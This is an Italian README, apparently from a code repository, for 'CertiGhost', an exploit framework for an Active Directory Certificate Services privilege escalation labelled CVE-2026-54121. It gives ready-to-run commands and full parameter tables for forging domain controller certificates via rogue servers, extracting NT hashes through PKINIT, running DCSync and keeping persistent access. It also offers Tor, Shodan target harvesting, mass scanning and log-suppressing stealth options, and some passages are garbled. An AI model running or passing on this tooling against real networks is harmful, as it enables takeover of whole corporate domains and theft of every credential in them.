
👻 CVE-2026-54121 - Il miglior framework multi-exploit CertiGhost AD CS | Toolkit avanzato con server DC/LDAP rogue, abuso di certificati, estrazione di hash PKINIT. Caratteristiche: rilevamento del controllo di sicurezza, exploit completamente multi-threaded. 🛡️ CVSS 8.8 Alto - Usa eticamente, resta legale. 🔒

Framework di Exploit e Toolkit di Audit
Solo per test di sicurezza autorizzati.
Questo strumento è fornito esclusivamente a scopo educativo e per test di penetrazione autorizzati. Gli autori e i collaboratori non sono responsabili per qualsiasi uso improprio o danno causato da questo software. Gli utenti sono gli unici responsabili di assicurarsi di avere un permesso scritto esplicito dal proprietario del target prima di effettuare i test. L'accesso non autorizzato a sistemi informatici è illegale ai sensi delle leggi federali, statali e internazionali sulla criminalità informatica applicabili. Utilizzando questo software, accetti di:
⚠️ AVVERTENZA: Le vulnerabilità di elevazione dei privilegi in Active Directory presentano un rischio elevato per le infrastrutture aziendali. I test non autorizzati sono severamente vietati.
CVE-2026-54121 (Soprannominata "Certighost") è una vulnerabilità di Elevazione dei Privilegi (EoP) in Microsoft Active Directory Certificate Services (AD CS). Consente a utenti di dominio con privilegi bassi di impersonare gli account macchina dei Domain Controller e ottenere il pieno controllo come Domain Admin tramite la contraffazione di certificati.
CWE-285) in AD CS durante la gestione dei parametri target delle richieste di certificato.DCSync.detect_ip, e disabilitare log e output. Usa "stealthcert.py" per questa versione.git clone https://tc4dy/CVE-2026-54121-PoC-Exploit
#installa i requisiti
# Auto-scopre la CA tramite LDAP, crea un computer temporaneo, avvia server rogue, richiede un certificato con redirect cdc, estrae l'hash NT del DC tramite PKINIT, abilita DCSync per la compromissione del dominio
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10
# Impersona un Domain Controller specifico (DC01$). Utile quando sai esattamente quale DC colpire. Bypassa l'auto-scoperta
python3 certighost.py -d corp.local -u user -p Passw0rd --dc-ip 10.0.0.1 --target-san DC01$
# Usa l'hash NTLM invece della password. Funziona quando la password è sconosciuta ma l'hash è disponibile. ':' prima dell'hash = hash LM vuoto
python3 certighost.py -d domain.local -u admin --hashes :8846f7eaee8fb117ad06bdd830b7586c --dc-ip 192.168.1.10
# Bypassa l'auto-scoperta della CA tramite LDAP. Usa IP e nome CA forniti esplicitamente. Utile quando LDAP è limitato o la CA è su una subnet diversa
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10 --ca-ip 192.168.1.20 --ca "PLAYGROUND-CA"
# Query LDAP nativa per verificare se AD CS è presente. Restituisce nome CA e DNS. Sola lettura, sicura per la produzione. Nessun exploit eseguito
.\CertiGhost.ps1 -d playground.local --dc-ip 192.168.1.10 --username lowpriv -p Password123 --detect
# Esegue il rilevamento nativo di AD CS e poi chiama certighost.py Python con tutti i parametri. Richiede certighost.py nella stessa directory. Stampa l'hash NT e il file ccache
.\CertiGhost.ps1 -d corp.local --dc-ip 10.0.0.1 --username attacker -p P@ssw0rd --exploit --target-account DC01$
# Modalità solo rilevamento. Salva i risultati in formato JSON. Utile per automazione, report e integrazione con altri strumenti di sicurezza
.\CertiGhost.ps1 -d domain.local --dc-ip 192.168.1.10 --username user -p pass --detect -o results.json
La vulnerabilità deriva da controlli di autorizzazione e validazione impropri (CWE-285) all'interno di Active Directory Certificate Services (AD CS) durante i processi di registrazione dei certificati. Un attaccante con credenziali di dominio a bassi privilegi può manipolare i parametri di redirezione del target per indurre l'Autorità di Certificazione (CA) a verificare le asserzioni di identità contro endpoint rogue.
Endpoint Vulnerabile / Contesto della Richiesta:
POST /certsrv/mscep/mscep.dll HTTP/1.1
Host: ca-server.domain.local
Content-Type: application/x-www-form-urlencoded
... (Payload della richiesta di certificato con parametri target/cdc manipolati)
Manipolazione del Chase Target: Un attaccante modifica i parametri di redirezione del target (come cdc / chase target) all'interno della richiesta di certificato, costringendo l'Autorità di Certificazione (CA) a instradare il traffico di verifica verso un endpoint specificato.
Redirezione verso Server Rogue: L'Autorità di Certificazione (CA) avvia connessioni LDAP o SMB verso la destinazione fornita dal client senza validare se il target è un Domain Controller legittimo e autorizzato.
Falsificazione dell'Identità del DC ed Emissione del Certificato: Il server rogue controllato dall'attaccante risponde alle query di verifica emesse dalla CA per conto dell'account Domain Controller preso di mira. Basandosi su questa risposta, la CA emette un certificato firmato valido che porta l'identità del Domain Controller.
Utilizzando il certificato del Domain Controller ottenuto, viene eseguita l'autenticazione Kerberos tramite PKINIT (Public Key Cryptography for Initial Authentication) per recuperare un TGT ad alti privilegi.
Con un ticket Kerberos che possiede privilegi di Domain Controller, gli hash delle password di tutti gli account nel database di Active Directory (es. krbtgt, Administrator) vengono estratti utilizzando la tecnica DCSync.
krbtgt estratto.msDS-KeyCredentialLink degli account presi di mira per garantire un accesso persistente.| Attributo | Valore |
|---|
| 📅 Scoperta / Patch | Luglio 2026 (Microsoft Patch Tuesday) |
| ⚠️ Punteggio CVSS | 8.8 (ALTO) |
| 🏷️ Nome in codice | Certighost |
| 🎯 Prodotti interessati | Microsoft Active Directory Certificate Services |
| 🔄 Versioni corrette | Aggiornamento di sicurezza di luglio 2026 |
| 🔓 Autenticazione | Account di dominio con privilegi bassi |
| 🌍 Impatto | Compromissione completa del dominio Active Directory |
| Parametro | Descrizione | Esempio |
|---|
-d, --domain | Nome DNS del dominio target (obbligatorio) | -d playground.local |
-u, --username | Utente di dominio con privilegi bassi (obbligatorio) | -u lowpriv |
-p, --password | Password dell'utente | -p Password123 |
-H, --hashes | Hash NTLM [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--dc-ip | IP del Domain Controller (obbligatorio) | --dc-ip 192.168.1.10 |
--ca-ip | IP dell'Autorità di Certificazione (opzionale) | --ca-ip 192.168.1.20 |
--ca | Nome della CA (auto-scoperto se non impostato) | --ca "PLAYGROUND-CA" |
--listener | IP dell'attaccante per i server rogue | --listener 192.168.1.100 |
--target-san | Account computer da impersonare (es. DC01$) | --target-san DC01$ |
--template | Modello di certificato (predefinito: Machine) | --template Machine |
--computer-name | Nome di un account computer esistente (con $) | --computer-name GHOSTABCD$ |
--computer-pass | Password di un computer esistente | --computer-pass CGabc123... |
--computer-hash | Hash NT di un computer esistente | --computer-hash 8846f7ea... |
--use-ldap | Usa LDAP (389) invece di LDAPS (636) | --use-ldap |
--exploit | Esegui l'exploit | --exploit |
--detect | Solo rilevamento (nessun exploit) | --detect |
-t, --threads | Numero massimo di thread per la scansione di massa | -t 10 |
--timeout | Timeout per richiesta (secondi) | --timeout 10 |
--retry | Numero di tentativi in caso di errore | --retry 3 |
--delay | Ritardo base tra le richieste | --delay 1.0 |
--proxy | URL del proxy | --proxy http://127.0.0.1:8080 |
--no-verify | Disabilita la verifica SSL | --no-verify |
--tor | Usa proxy Tor (socks5h://127.0.0.1:9050) | --tor |
-o, --output | File di output (.json, .csv, .jsonl) | -o results.json |
-v, --verbose | Output dettagliato | -v |
-q, --quiet | Modalità silenziosa | -q |
-h, --help | Mostra l'aiuto | -h |
| Parametro | Descrizione | Esempio |
|---|
-t, --target | IP o hostname della CA target (obbligatorio) | -t 192.168.1.20 |
-d, --domain | Nome DNS del dominio target (obbligatorio) | -d playground.local |
--dc-ip | IP del Domain Controller (obbligatorio) | --dc-ip 192.168.1.10 |
-u, --username | Utente di dominio con privilegi bassi (obbligatorio) | -u lowpriv |
-p, --password | Password dell'utente | -p Password123 |
-H, --hashes | Hash NTLM [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--computer-name | Nome di un account computer esistente (con $) | --computer-name GHOSTABCD$ |
--computer-pass | Password di un computer esistente | --computer-pass CGabc123... |
--computer-hash | Hash NT di un computer esistente | --computer-hash 8846f7ea... |
--target-account | Account da impersonare (es. DC01$) | --target-account DC01$ |
--template | Modello di certificato (predefinito: Machine) | --template Machine |
--listener | IP dell'attaccante per i server rogue (rilevamento automatico se non impostato) | --listener 192.168.1.100 |
--use-ldap | Usa LDAP (389) invece di LDAPS (636) | --use-ldap |
--keep-files | Conserva i file .pfx e .ccache (predefinito: elimina) | --keep-files |
-h, --help | Mostra l'aiuto | -h |
| Parametro | Descrizione | Esempio |
|---|
-u, --url | IP o hostname della CA target | -u 192.168.1.20 |
-l, --list | File contenente i target (uno per riga) | -l targets.txt |
--shodan | Carica i target da Shodan | --shodan |
--shodan-query | Query di ricerca Shodan | --shodan-query "AD CS Certificate" |
-d, --domain | Nome DNS del dominio target (obbligatorio) | -d playground.local |
--dc-ip | IP del Domain Controller (obbligatorio) | --dc-ip 192.168.1.10 |
--username | Utente di dominio con privilegi bassi (obbligatorio) | --username lowpriv |
-p, --password | Password dell'utente | -p Password123 |
-H, --hashes | Hash NTLM [LM:]NT | -H :8846f7ea... |
--computer-name | Nome di un account computer esistente (con $) | --computer-name GHOSTABCD$ |
--computer-pass | Password di un computer esistente | --computer-pass CGabc123... |
--computer-hash | Hash NT di un computer esistente | --computer-hash 8846f7ea... |
--target-account | Account da impersonare (es. DC01$) | --target-account DC01$ |
--template | Modello di certificato (predefinito: Machine) | --template Machine |
--listener | IP dell'attaccante per i server rogue | --listener 192.168.1.100 |
--use-ldap | Usa LDAP (389) invece di LDAPS (636) | --use-ldap |
--exploit | Esegui l'exploit | --exploit |
--detect | Solo rilevamento (nessun exploit) | --detect |
-t, --threads | Numero massimo di thread per la scansione di massa | -t 10 |
--timeout | Timeout per richiesta (secondi) | --timeout 10 |
--retry | Numero di tentativi in caso di errore | --retry 3 |
--delay | Ritardo base tra le richieste | --delay 1.0 |
--proxy | URL del proxy | --proxy http://127.0.0.1:8080 |
--no-verify | Disabilita la verifica SSL | --no-verify |
--tor | Usa proxy Tor | --tor |
-o, --output | File di output (.json, .csv, .jsonl) | -o results.json |
-v, --verbose | Output dettagliato | -v |
-q, --quiet | Modalità silenziosa | -q |
-h, --help | Mostra l'aiuto | -h |